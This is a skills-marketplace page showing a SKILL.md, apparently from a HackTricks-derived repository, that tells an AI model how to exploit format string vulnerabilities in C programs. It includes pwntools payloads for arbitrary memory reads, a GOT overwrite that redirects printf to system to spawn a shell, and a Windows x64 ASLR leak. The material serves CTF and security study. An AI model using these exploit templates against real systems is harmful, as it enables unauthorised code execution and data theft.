Skip to main content

format-string-exploit

How to exploit format string vulnerabilities in C programs. Use this skill whenever the user mentions format strings, printf vulnerabilities, sprintf/fprintf issues, GOT overwrites, arbitrary memory read/write, stack leaks, or any C program that takes user input as a format string. Also trigger for CTF challenges involving format string bugs, pwn tasks with printf-family functions, or when analyzing binaries for format string vulnerabilities.

معلومات المصدر

المستودع
abelrguezr/hacktricks-skills
آخر نشاط في المصدر
٢٣ مارس ٢٠٢٦ في ١٤:٢٩
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٢٢
التفرعات
١٠

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

مستكشف الملفات
2 ملفات

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
format-string-exploit
description
How to exploit format string vulnerabilities in C programs. Use this skill whenever the user mentions format strings, printf vulnerabilities, sprintf/fprintf issues, GOT overwrites, arbitrary memory read/write, stack leaks, or any C program that takes user input as a format string. Also trigger for CTF challenges involving format string bugs, pwn tasks with printf-family functions, or when analyzing binaries for format string vulnerabilities.
# Format String Exploitation Format string vulnerabilities occur when user-controlled input is passed as the format string argument to `printf`-family functions (`printf`, `sprintf`, `fprintf`). This allows attackers to read from and write to arbitrary memory addresses. ## Core Concepts ### Why This Works The `printf` function expects a format string as its first parameter, followed by values to substitute. When an attacker controls the format string, they can: - **Read memory**: Use formatters like `%x`, `%s`, `%p` to leak stack values - **Write memory**: Use `%n` to write the number of bytes printed to an address - **Control execution**: Overwrite function pointers in the GOT to redirect execution ### Key Formatters | Formatter | Purpose | |-----------|----------| | `%x` | Print 4 bytes as hex | | `%08x` | Print 8 hex bytes (padded) | | `%d` | Print as integer | | `%s` | Print as string (reads from address) | | `%p` | Print pointer address | | `%n` | Write byte count to address | | `%hn` | Write 2 bytes to address | | `%<n>$x` | Direct parameter access (nth argument) | | `%<n>$s` | Read string from nth parameter address | | `%<n>$n` | Write to nth parameter address | ## Finding the Offset Before exploiting, you need to find where your input lands on the stack. Send a known pattern followed by format specifiers and increment until you see your pattern. **Use the script**: `scripts/find_offset.py` automates this process. ```python # Manual approach for i in range(1, 20): payload = b"AAAA%" + str(i).encode() + b"$x" # Send payload, check if "41414141" appears in output ``` ## Arbitrary Read Use `%<n>$s` to read from an arbitrary address. The nth parameter should be the address you want to read. **Why this matters**: You can leak: - Binary base address (defeat ASLR) - Canaries - Encryption keys - Sensitive data on the stack **Example**: ```python from pwn import * p = process('./vulnerable_binary') # If input is at offset 6, and we want to read 0x8048000 payload = b'%6$s' # Read string from 6th param payload += b'xxxx' # Padding (5th param) payload += p32(0x8048000) # 6th param = address to read p.sendline(payload) print(p.clean()) # Shows memory at 0x8048000 ``` ## Arbitrary Write The `%n` formatter writes the number of bytes printed so far to an address. To write arbitrary values: 1. **Use padding**: `%.<count>x` prints exactly `<count>` hex characters 2. **Use `%hn`**: Write only 2 bytes (useful for 32-bit addresses) 3. **Write in two steps**: Low bytes first, then high bytes **Why two steps**: Writing a full 32-bit address like `0x08049724` would require printing 134,000,000+ characters. Using `%hn` twice (2 bytes each) is much more efficient. **GOT Overwrite Pattern**: The Global Offset Table (GOT) contains addresses of external functions. Overwriting a GOT entry redirects function calls. **Use the script**: `scripts/got_overwrite_template.py` for a ready-to-use template. ```python from pwn import * elf = context.binary = ELF('./vulnerable_binary') libc = elf.libc p = process() # Overwrite printf's GOT entry with system's address payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']}) p.sendline(payload) # Now printf() calls system() p.sendline('/bin/sh') p.interactive() ``` ## Windows x64 ASLR Bypass On Windows x64, the first 4 parameters are in registers (RCX, RDX, R8, R9). When a format string is used without varargs, `%p` reads from R9, often leaking a stable pointer. **Use the script**: `scripts/windows_aslr_bypass.py` for this technique. **Why this works**: The leaked pointer has a known offset within the module. Subtract the offset to get the base address, then calculate all other addresses. ```python # Leak R9 via %p leaked = int(received_output, 16) base = leaked - KNOWN_OFFSET # Found during local reversing ``` ## Common Vulnerable Patterns **Vulnerable**: ```c char buffer[30]; gets(buffer); // User input printf(buffer); // DANGEROUS: buffer as format string ``` **Safe**: ```c char buffer[30]; gets(buffer); printf("%s", buffer); // Safe: format string is constant ``` ## Exploitation Workflow 1. **Identify the vulnerability**: User input → printf-family function 2. **Find the offset**: Use `scripts/find_offset.py` 3. **Determine protection status**: Check for ASLR, canary, RELRO, PIE 4. **Choose attack**: - **No ASLR**: Direct GOT overwrite - **ASLR enabled**: Leak address first, then overwrite 5. **Craft payload**: Use `fmtstr_payload()` or manual construction 6. **Test and iterate**: Adjust offsets and addresses as needed ## Scripts Available - `scripts/find_offset.py` - Brute force stack offset - `scripts/got_overwrite_template.py` - GOT overwrite exploit template - `scripts/windows_aslr_bypass.py` - Windows x64 ASLR bypass ## References - [HackTricks Format Strings](https://book.hacktricks.xyz/pentesting/remote-code-execution/rce/format-string-vulnerabilities) - [CTF Recipes - Data Leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [GuyInATuxedo Format String Series](https://guyinatuxedo.github.io/10-fmt_strings/) - [ir0nstone Notes](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
عرض على GitHub